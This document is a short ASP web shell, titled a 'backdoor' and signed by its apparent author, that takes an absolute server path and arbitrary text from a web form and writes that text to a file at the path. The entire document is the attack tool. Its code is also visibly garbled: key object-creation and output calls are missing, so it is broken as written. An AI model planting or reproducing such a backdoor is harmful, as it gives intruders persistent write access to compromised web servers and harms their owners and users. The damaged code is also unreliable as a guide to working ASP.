Seven-step inverted┈→Special Asp Backdoor

<html>
<head>
<title>Seven-step inverted┈→Special asp backdoor</title>
</head>
</html>
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = ("")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=(request("syfdpath"),True)%>
<% fdata%>
<%if err =0 then%>
<% "<font color=blue>Save Success!</font>"%>
<%else%>
<% "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%%>
<%end if%>
<%%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<% "<form action='''' method=post>"%>
<% "<font color=blue>save file absolute path:</font>"%>
<% "<input type=text name=syfdpath width=32 size=50>"%>
<% "<br>"%>
<% "<font color=red>file of absolute path"%>
<%=(("SCRIPT_NAME"))%>
<% "<br>"%>
<% "input:"%>
<% "<textarea name=cyfddata cols=80 rows=10
width=50></textarea>"%>
<% "<input type=submit value=save>"%>
<% "</form>"%>
BY: Seven steps back